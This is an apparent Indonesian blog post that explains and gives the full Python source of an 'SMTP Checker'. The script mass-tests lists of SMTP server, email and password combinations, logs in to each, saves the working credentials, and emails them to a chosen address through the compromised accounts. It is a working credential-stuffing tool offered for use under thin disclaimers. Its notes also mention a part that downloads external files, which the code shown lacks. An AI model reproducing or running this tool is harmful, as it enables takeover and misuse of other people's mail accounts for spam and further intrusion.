Coding Python

SMTP Checker

0
Please log in or register to do it.

Langkah-Langkah Menggunakan Script Ini

Script ini dirancang untuk memeriksa daftar kredensial SMTP (server, port, email, password) dari file teks, memverifikasi mana yang valid, menyimpannya ke file valid_smtps.txt, dan secara opsional mengirim notifikasi email ke alamat yang Anda tentukan jika ditemukan SMTP valid.

Persiapan File Input:
Buat file teks (misalnya, smtp_list.txt) yang berisi daftar SMTP dalam format: server|port|email|password per baris.
Contoh isi file:

smtp.gmail.com|587|user@gmail.com|password123
smtp.outlook.com|465|user@outlook.com|password456

Instalasi Dependensi:

  • Script ini membutuhkan library Python seperti smtplib, threading, queue, colorama, requests, dll. Instal dengan pip jika belum ada:
pip install colorama requests

Library standar seperti smtplib dan threading biasanya sudah ada di Python.

  1. Menjalankan Script:
    • Jalankan script dengan Python (misalnya, python script_name.py).
    • Script akan meminta input:
      • Nama file SMTP list: Masukkan nama file yang berisi daftar SMTP (misalnya, smtp_list.txt).
      • Email target untuk notifikasi: Masukkan alamat email Anda (misalnya, your@email.com). Jika dibiarkan kosong, notifikasi email akan dinonaktifkan.
    • Script akan mulai memproses daftar SMTP secara paralel menggunakan thread (maksimal 100 thread atau jumlah SMTP, mana yang lebih kecil).
    • Output akan ditampilkan di konsol dengan warna (hijau untuk sukses, merah untuk gagal), termasuk jumlah yang sudah diperiksa.
  2. Fitur Utama:
    • Pemeriksaan SMTP: Script mencoba login ke setiap SMTP menggunakan kredensial yang diberikan. Jika berhasil, itu dicatat sebagai valid.
    • Penyimpanan: SMTP valid disimpan ke valid_smtps.txt secara otomatis setiap 10 detik atau di akhir proses.
    • Notifikasi Email: Jika email target diberikan, script akan mengirim email notifikasi menggunakan SMTP valid yang ditemukan, dengan subjek “Valid SMTP Found – Notification” dan detail kredensial.
    • Output Konsol: Menampilkan status real-time, seperti “[✔] WORKING” untuk sukses atau “[X] FAILED” untuk gagal.
  3. Output dan Hasil:
    • File valid_smtps.txt akan berisi daftar SMTP valid dalam format yang sama.
    • Script akan mencetak total SMTP yang diperiksa dan menyatakan “Done!” saat selesai.

Catatan Tambahan

  • Performa: Script menggunakan multithreading untuk mempercepat pemeriksaan, tapi ini bisa membebani jaringan atau server SMTP (yang mungkin mendeteksi dan blokir aktivitas ini).
  • Error Handling: Script menangani error umum seperti autentikasi gagal atau koneksi error, tapi tidak sempurna.
  • Modifikasi: Jika Anda ingin mengubahnya (misalnya, menghapus bagian berbahaya), edit kode dengan hati-hati – tapi lagi, jangan gunakan untuk tujuan jahat.
  • Alternatif Aman: Jika Anda belajar tentang SMTP testing, gunakan tools resmi seperti telnet atau library Python dalam lingkungan virtual tanpa mengirim data ke server eksternal.

Jika ini adalah script yang Anda buat sendiri atau temukan, pertimbangkan untuk menghapus bagian yang mengunduh file eksternal. Jika Anda memiliki pertanyaan lain tentang Python atau keamanan, tanyakan saja – tapi hindari aktivitas yang berpotensi ilegal. Stay safe!

import asyncio
import aiosmtplib
import time
from colorama import Fore, init
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib  # Tetap digunakan untuk send_email, karena notifikasi email bisa sync

init(autoreset=True)

successful_smtps = []
total_checked = 0
target_email = ""

async def save_valid_smtp():
    if successful_smtps:
        with open("valid_smtps.txt", "a", encoding="utf-8") as file:
            file.write("\n".join(successful_smtps) + "\n")
        successful_smtps.clear()

def send_email(smtp_server, smtp_port, smtp_email, smtp_password):
    # Fungsi ini tetap sync karena hanya untuk notifikasi satu kali
    try:
        msg = MIMEMultipart()
        msg['From'] = smtp_email
        msg['To'] = target_email
        msg['Subject'] = "Valid SMTP Found - Notification"
        
        body = f"""
        Valid SMTP Server Found!
        
        Details:
        Server: {smtp_server}
        Port: {smtp_port}
        Email: {smtp_email}
        Password: {smtp_password}
        
        This email was sent using the valid SMTP server.
        """
        msg.attach(MIMEText(body, 'plain'))
        
        port = int(smtp_port)
        if port == 465:
            with smtplib.SMTP_SSL(smtp_server, port, timeout=30) as server:
                server.login(smtp_email, smtp_password)
                server.sendmail(smtp_email, target_email, msg.as_string())
        else:
            with smtplib.SMTP(smtp_server, port, timeout=30) as server:
                server.starttls()
                server.login(smtp_email, smtp_password)
                server.sendmail(smtp_email, target_email, msg.as_string())
        
        print(Fore.MAGENTA + f"[+] Email successfully sent to {target_email} using: {smtp_server}:{smtp_port}")
        return True
    except Exception as e:
        print(Fore.RED + f"[X] Failed to send email using {smtp_server}:{smtp_port} - Error: {str(e)}")
        return False

async def check_smtp(server, port, email, password):
    global total_checked
    try:
        port = int(port)
        use_tls = (port == 587)  # TLS untuk port 587, SSL untuk 465
        smtp = aiosmtplib.SMTP(hostname=server, port=port, use_tls=use_tls, timeout=15)
        await smtp.connect()
        await smtp.login(email, password)
        print(Fore.GREEN + f"[✔] WORKING: {server}|{port}|{email}|{password}")
        successful_smtps.append(f"{server}|{port}|{email}|{password}")
        
        if target_email:
            send_email(server, port, email, password)  # Sync call di dalam async
        
        await smtp.quit()
    
    except aiosmtplib.SMTPAuthenticationError:
        print(Fore.RED + f"[X] FAILED (AUTH): {server}|{port}|{email}|{password}")
    except aiosmtplib.SMTPConnectError:
        print(Fore.RED + f"[X] FAILED (CONNECT): {server}|{port}|{email}|{password}")
    except aiosmtplib.SMTPException as e:
        print(Fore.RED + f"[X] FAILED (SMTP ERROR): {server}|{port}|{email}|{password} | ERROR: {str(e)}")
    except Exception as e:
        print(Fore.RED + f"[X] FAILED (UNKNOWN): {server}|{port}|{email}|{password} | ERROR: {str(e)}")
    
    total_checked += 1
    print(Fore.CYAN + f"[#] Checked: {total_checked}")
    
    # Rate limiting: delay 0.5 detik antar percobaan untuk menghindari ban
    await asyncio.sleep(0.5)

async def process_smtp_list(file_name):
    try:
        with open(file_name, 'r', encoding='utf-8', errors='replace') as file:
            lines = file.readlines()

        valid_lines = [line.strip().split('|') for line in lines if line.count('|') == 3]
        total = len(valid_lines)

        print(Fore.YELLOW + f"[*] Total SMTPs: {total}")

        # Jalankan semua check secara async
        tasks = [check_smtp(*line) for line in valid_lines]
        await asyncio.gather(*tasks)

        # Simpan hasil akhir
        await save_valid_smtp()
        print(Fore.GREEN + "[✔] Done! Valid SMTPs saved in valid_smtps.txt")

    except FileNotFoundError:
        print(Fore.RED + f"[X] Error: File '{file_name}' not found.")
    except Exception as e:
        print(Fore.RED + f"[X] Error: {str(e)}")

if __name__ == "__main__":
    input_file = input("Enter the SMTP list file name: ")
    target_email = input("Enter your email to receive valid SMTPs: ").strip()
    if not target_email:
        print(Fore.YELLOW + "[!] No email provided - email notifications disabled")
    
    # Jalankan event loop asyncio
    asyncio.run(process_smtp_list(input_file))
Why Choose Ama Linux for Enterprise Stability

Your email address will not be published. Required fields are marked *